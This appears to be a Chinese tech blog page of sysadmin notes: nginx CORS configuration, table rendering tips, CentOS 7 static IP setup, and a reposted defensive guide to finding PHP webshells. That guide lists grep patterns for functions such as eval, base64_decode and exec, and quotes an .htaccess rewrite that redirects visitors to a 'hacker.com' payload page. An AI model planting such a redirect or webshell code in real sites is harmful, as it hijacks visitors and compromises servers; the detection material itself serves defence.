如何在 nginx conf debug
利用 add_header 特性 把 要除錯的 目標寫在裡面
set $cors ''; if ($http_origin ~ '^https?://(localhost|www\.g\.com|www\.g2\.com|g\.com|fun588\.com|g3\.com)') { set $cors 'true'; } if ($cors = 'true') { add_header 'cors : ' $cors ; //假設我今天想觀察該變數運行 //注意 字串部份不能使用特殊符號 會印不出來 add_header 'Access-Control-Allow-Origin' "$http_origin" always; add_header 'Access-Control-Allow-Credentials' 'true' always;
我們就可以在 瀏覽器 工具模式下 Headers 找到 印出的變數
nginx 限制 domain 域名 ( Nginx restrict domains )
當客戶端 跨域名存取 檔案時 會遇到 allow cross domain 限制
基本上可以針對 POST , GET 在 nginx 做相對映的設定
location / {
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
#
# Custom headers and headers various browsers *should* be OK with but aren't
#
add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range';
#
# Tell client that this pre-flight info is valid for 20 days
#
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain; charset=utf-8';
add_header 'Content-Length' 0;
return 204;
}
if ($request_method = 'POST') {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range';
add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range';
}
if ($request_method = 'GET') {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range';
add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range';
}
}
上述表示結果 任何條件都開放
如果要有條件開放 部份域名才能訪問
set $cors ''; if ($http_origin ~* 'https?://(localhost|www\.example\.com|m\.example\.com)') { set $cors 'true'; } if ($cors = 'true') { add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Mx-ReqToken,X-Requested-With'; }
[ HTML5 ] 影響網頁效能筆記,
1. 在 css 使用過多的 position
2. 使用 css 去處理過多 表格 child 計算
3. 使用 Fix 固定表格
https://blog.miniasp.com/post/2009/04/20/Use-CSS-table-layout-property-to-speed-up-table-rendering.aspx
當你的表格擁有固定的寬度,例如版面寬度定義為 950px 時,只要將 <table> 的 table-layout 屬性設定成 fixed,並且再設定 width 屬性,就會明顯感覺到表格在下載 HTML 的過程中不會等待 </table> 讀完就會直接顯示表格內容,速度將會差非常多。
How to Detect WebShell on PHP Web Server,
How to Detect WebShell on PHP Web Server
BY DO SON · PUBLISHED · UPDATED
View the access log
See if there’s a file upload (POST method):
IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST/uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST/public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
The default log format for nginx is:
access_log logs/access.log
access_log logs/access.log combined
Find files containing malicious php code
Find the recent changes in the php file
find . -type f -name '*.php' -mtime -7-type f means that the normal search of normal files
-mtime -7 that 7 * 24 hours to modify the file
The results may be as follows:
./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php
Find out if there is any suspected code in the file
find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
Note: Many commands do not support pipelining parameters, but in fact need this, so it used the xargs command, the command can be used to pipe transmission parameters; grep-l said that only contains a string of file names, if removed – L The contents of the line matching the specified string are displayed
The meaning of several special strings:
eval()The string in accordance with the PHP code to implement, is the most common php Trojansbase64_decode()Will be the base64 string decoding, attack time payload is base64 encoding, then this function is uselessgzinflate()The string decompression processing, when the attack with gzdeflate payload compression, the use of this function for decompressionstr_rot13()The string is encoded with rot13
Regular expressions can also be used to search for documents, can find code:
find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("
The following explains webshell commonly used functions:
mail()Can be used to send spam to the site userfsockopen()Open a network connection or a Unix socket connection that can be used to send remote requests for payloadpfsockopen()And fsockopen () role similarexec()Command execution functionsystem()With the exec ()passthru()With the exec ()stream_socket_client()To establish a remote connection, examples are as follows:
<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
}
?>
preg_replace()When the regular expression is modified by the modifier “e”, the replacement string needs to be executed in accordance with the php code before the substitution. This also needs to be taken into account. In this case,
find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
Compares the code file
This situation requires a clean code, the code and the code being used to compare. E.g
diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
The above example compares wordpress-clean / and wordpress-comprised directories, and the directory wp-content / subdirectory does not compare.
Search for writable directories
Look at the list of whether there are suspicious files, the following script to find the permissions for the 777 directory exists php file
#!/bin/bash
search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)
for dir in $writable_dirs
do
#echo $dir
find $dir -type f -name '*.php'
done
Hackers often insert jpg php code in the document, so when inquiries in these directories have to query jpg files:
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
Note: -iname said the file name is not case-sensitive, grep-i also said that case-insensitive
The iframe tag is detected
Hackers often do is to embed iframe tags, so you can view the source code of the page, and search for the existence of iframe tags, you can use the following command:
grep -i '<iframe' mywebsite.txt
For dynamically generated pages can be used ff of Live HTTP Headers plug-in, and then downloaded to the source to find out whether the presence of iframe tag
Finds if there is a sensitive string in the database
Including% base64 _%,% eval (% <and so on some of the above-mentioned keywords
0x07 Examine the .htaccess file
Whether it contains auto_prepend_file and auto_append_file, use the following command
find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file
Auto_prepend_file role is to load the current script file before loading the php script auto_append_file role is to load the current script file, and then load the php script. Hackers if so modified. Htaccess file, you can access. Htaccess directory php script, you want to load the load on the malicious script.
Htaccess file can also be used to hijack the traffic to the site to the hacker’s Web site,
RewriteCond %{HTTP_USER_AGENT}^.*hacker.*$
Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
RHEL / CentOS 7 超簡單 設定網路固定 IP 1分鐘搞定!
RHEL 及 CentOS 會自動偵測 DHCP 取得 IP, 如果要改成使用固定 IP, 除了可以像以前一樣修改設定檔外, 在 CentOS 7 也可以用內建的 Network Manager 設定網路。
以下會提供兩種設定固定 IP 的方法, 並以網卡 “eno16777736” 作為例子。
使用 Network Manager 設定固定 IP
雖然 RHEL / CentOS 7 預設啟動了 Network Manager, 但在設定前也可以先確定 Network Manager 有啟動:
$ systemctl status NetworkManager.service
看到綠色的 active (running), 那便表示 Network Manager 正在執行。
要檢查那一張網卡由 Network Manager 管理, 可以用 nmcli 指令:
$ nmcli dev status
由 Network Manager 管理的網卡會顯示 “connected”.
使用 Network Manager 前, 先安裝 nmtui (Network Manager Text User Interface):
# yum install NetworkManager-tui
然後就可以使用 “nmtui” 指令, 例如要設定 eno16777736 網卡, 輸入:
# nmtui edit eno16777736
設定好後, 移到最下面按 “OK”, 最後重新啟動網路便可以了:
# systemctl restart network.service
要檢查設定是否生效, 可以用以下指令:
# ip add
不使用 Network Manager 設定固定 IP
由於 CentOS 7 預設使用 Network Manager 管理網路, 以下除了設定固定 IP 外, 也會設定該網卡不受 Network Manager 管理。
開啟檔案 /etc/sysconfig/network-scripts/ifcfg-eno16777736, ifcfg-eno16777736 名稱會根據網卡名稱有所不同, 其中 eno16777736 是網卡名稱:
# vi /etc/sysconfig/network-scripts/ifcfg-eno16777736
首先將 BOOTPROTO=dhcp 改成 BOOTPROTO=static, 以及加入以下三行:
IPADDR=192.168.0.100
NETMASK=255.255.255.0
NM_CONTROLLED=no
NETMASK=255.255.255.0
NM_CONTROLLED=no
上面的 IPADDR 是需要使用的固定 IP, 而 NM_CONTROLLED=no 是設定這張網卡不受 Network Manager 管理, 而直接讀取這個設定檔內容。
改成類似這樣:
1
2
3
4
5
|
TYPE=Ethernet
BOOTPROTO=static
IPADDR=192.168.0.100
NETMASK=255.255.255.0
NM_CONTROLLED=no
|
最後重新啟動網路便可以了:
# systemctl restart network.service
實際內網設置方式 新增一個 eth1
傳統文字設定方式
/etc/sysconfig/network-scripts/ifcfg-eth1
到此路逕下做設定

DHCP
使用 DHCP 功能的設定如下,電腦取得 IP 後,就會自動連上網,但是缺點是每次取得的 IP 都不同。
/etc/sysconfig/network-scripts/ifcfg-eth0
- DEVICE=eth0
- BOOTPROTO=dhcp
- ONBOOT=yes
- NM_CONTROLLED=yes
固定 IP
當伺服器已經超過一台以上,這時我們會希望每台電腦都能有一個固定的內部 IP。
ifcfg-eth0
- DEVICE=eth0
- ONBOOT=yes
- NM_CONTROLLED=yes
- BOOTPROTO=static
- IPADDR=192.168.0.4
- GATEWAY=192.168.0.10
- Netmask=255.255.255.0
DNS Search
Linux CentOS 內建有個 Network Manager ,這個軟體會控制 DNS 的設定,打開 /etc/resolv.conf 就可以知道設定有什麼,如果這個檔案的設定有錯,那麼機器就不能透過 Domain Name 的上網。
resolv.conf 的設定如果有錯,我們還是可用使用 ping ip 的功能。
例如我可以用 telnet 120.54.1.x 80 連到外部的伺服器,可是卻無法用 telnet www.google.com 80 的方式連上 Google ,解決方式就是修改 /etc/resolv.conf,然後將 nameserver 設定成 Router 的 IP ,設定成功後,你可以用 nslookup www.google.com 的指令,測試 DNS Search 是否正常。
/etc/resolv.conf
- # Generated by NetworkManager
- #search me
- nameserver 192.168.0.1
網卡代號
網卡代號會根據不同廠商,而有不同的代號,如 Realtek => ra0 , Ethernet => eth0 , 「0」代號第一張網卡,如果你有兩張網卡,第二張就會變成 eth1。
訂閱:
文章 (Atom)







